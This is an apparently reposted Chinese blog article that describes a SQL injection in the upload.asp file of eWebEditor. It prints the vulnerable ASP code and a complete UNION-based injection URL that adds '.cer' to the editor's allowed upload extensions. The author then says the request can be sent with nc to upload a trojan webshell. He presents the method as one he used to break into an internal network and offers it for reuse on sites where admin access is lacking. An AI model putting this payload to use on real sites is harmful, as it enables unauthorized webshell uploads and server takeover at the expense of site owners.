首页 运维 网络学院 查看内容

SQL注射添加ewebeditor上传文件后缀

2009-2-11 10:04 774 0

摘要: 目前网上流传太多ewebeidtor的修改版 lite版、216版的ewebeditor 存在一个注入漏洞 之后一个版也存在这样的问题。前段时间拉至尊宝渗透一内网时发现这个东西。无后台 无法登陆 默认...
关键词: nbsp sAllowExt sUploadDir oRs ewebeditor nAllowSize select ImageExt style Case

目前网上流传太多ewebeidtor的修改版 lite版、216版的ewebeditor 存在一个注入漏洞 之后一个版也存在这样的问题。前段时间拉至尊宝渗透一内网时发现这个东西。无后台 无法登陆 默认数据库 但用处也不大,所以就深刻研究了下这个注入 发现可以通过union 来控制允许上传类型的列表,随后时间成功利用此漏洞拿了不少东西,分享下。漏洞文件是upload.asp ASP/Visual Basic代码 Sub InitUpload()          sType = UCase(Trim(Request.QueryString("type")))          sStyleName = Trim(Request.QueryString("style"))          sSql = "select * from ewebeditor_style where s_name='" & sStyleName &         "'"          oRs.Open sSql, oConn, 0, 1          If Not oRs.Eof Then            sUploadDir = oRs("S_UploadDir")            sUploadDir = Replace(sUploadDir, "", "/")           If Right(sUploadDir, 1) <> "/" Then           sUploadDir = sUploadDir & "/"           End If            Select Case sType             Case "FILE"               sAllowExt = oRs("S_FileExt")             nAllowSize = oRs("S_FileSize")               Case "MEDIA"             sAllowExt = oRs("S_MediaExt")               nAllowSize = oRs("S_MediaSize")             Case "FLASH"               sAllowExt = oRs("S_FlashExt")               nAllowSize = oRs("S_FlashSize")             Case Else               sAllowExt = oRs("S_ImageExt")               nAllowSize = oRs("S_ImageSize")           End Select         Else           OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")         End If          oRs.Close          ' 任何情况下都不允许上传asp脚本文件          sAllowExt = Replace(UCase(sAllowExt), "ASP", "")       End Sub sStyleName 变量是直接从style中读取到没有经过任何过滤,我们要做的就是通过 union 增加一个sAllowExt类型 构造SQL代码upload.asp?action=save&type=IMAGE&style=fox' union select      S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileE­xt,S_FlashExt,      [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,­S_RemoteSize ,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje­ct,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder      from ewebeditor_style where s_name='standard' and 'a'='a     union要之前的select结果为空(这个好办) 。同时要知道字段数(下载到数据库查也能查到了) ,我使用[S_ImageExt]+'|cer'使S_ImageExt中加入"|cer"串。用NC发包就可以上传木马了。 针对没有后台 有默认数据库 或者猜解不到密码的时候 可以用此方法试下 默认库中会泄露ewebeditor的版本信息的  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部